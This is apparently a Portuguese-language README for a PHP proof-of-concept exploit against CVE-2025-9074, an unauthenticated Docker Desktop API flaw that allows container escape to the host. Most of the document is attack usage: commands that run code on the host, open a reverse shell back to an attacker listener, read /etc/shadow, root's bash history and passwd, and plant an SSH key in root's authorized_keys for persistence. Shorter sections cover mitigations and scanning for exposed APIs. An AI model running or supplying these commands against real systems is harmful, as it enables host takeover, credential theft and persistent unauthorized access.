
PHP poc, exploit for CVE-2025-9074
Gravidade: CRÍTICA | Pontuação CVSS: 9.8 (estimada) | Versões Afetadas: Docker Desktop < 4.44.3
Um exploit de prova de conceito para CVE-2025-9074, uma vulnerabilidade de Execução Remota de Código não autenticada na API do Docker Engine que permite escape de contêiner privilegiado e comprometimento do sistema host.
CVE-2025-9074 é uma vulnerabilidade crítica no Docker Desktop que expõe a API do Docker Engine sem autenticação adequada ou isolamento de rede. Isso permite que atacantes remotos:
A vulnerabilidade afeta:
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074
Execute um único comando no host Docker:
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
Estabeleça um shell reverso interativo:
# Terminal 1: Iniciar listener
nc -lvnp 4444
# Terminal 2: Executar exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444
php poc.php -u <url> [options]
Execute comandos únicos no alvo:
# Comando simples
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"
# Ler arquivos do host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup
# Com limpeza
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup
Crie um shell interativo com callback:
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac
# Enumerar sistema host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Extrair arquivos sensíveis
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"
# Adicionar chave SSH
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"
# Enumerar contêineres e redes em execução
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"
0.0.0.0:2375 sem autenticação/containers/create/:/mnt/hostfs/:/mnt/hostfs/mnt/host/c:/mnt/hostfs/mnt/hostfs┌─────────────────────────────────────────────────────┐
│ poc.php (Sua Máquina) │
└────────────┬────────────────────────────────────────┘
│ Chamada HTTP REST API
▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Porta Alvo 2375) [NÃO AUTENTICADO] │
└────────────┬────────────────────────────────────────┘
│ Cria Contêiner
▼
┌─────────────────────────────────────────────────────┐
│ Contêiner Alpine Privilegiado │
│ ├─ Acesso Root Completo │
│ ├─ Bind Mount: /:/mnt/hostfs │
│ └─ Executa Comando do Atacante │
└────────────┬────────────────────────────────────────┘
│ Saída do Comando
▼
┌─────────────────────────────────────────────────────┐
│ Saída Retornada ao Atacante │
└─────────────────────────────────────────────────────┘
Atualizar o Docker Desktop
# Atualizar para versão 4.44.3 ou posterior
Isolamento de Rede
Habilitar Autenticação TLS
# Configurar daemon do Docker com certificados TLS
# Em daemon.json:
{
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
Segmentação de Rede
/var/run/docker.sock) apenas para acesso local# Escanear por APIs Docker expostas
nmap -p 2375,2376 -sV target_network
# Verificar se a porta responde à API Docker
curl -s http://target:2375/version
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais.
Contribuições são bem-vindas! Sinta-se à vontade para enviar issues ou pull requests.
Este projeto está licenciado sob a Licença MIT - veja o arquivo LICENSE para detalhes.
Pesquisador de Segurança | Testador de Penetração
Última Atualização: Maio de 2025 | Status: Pesquisa Ativa
| Opção | Curto | Obrigatório | Descrição |
|---|
--url | -u | ✅ Sim | URL da API do Docker (ex.: http://1.2.3.4:2375) |
--mode | -m | ❌ Não | Modo de execução: cmd ou reverse (padrão: cmd) |
--cmd | -c | ⚠️ Para modo cmd | Comando a executar no alvo |
--lhost | -l | ⚠️ Para modo reverse | Seu endereço IP para callback |
--lport | -p | ❌ Não | Sua porta de escuta (padrão: 4444) |
--os | — | ❌ Não | SO alvo: linux, mac, windows (padrão: linux) |
--cleanup | — | ❌ Não | Remover contêiner após execução |
--help | -h | ❌ Não | Exibir mensagem de ajuda |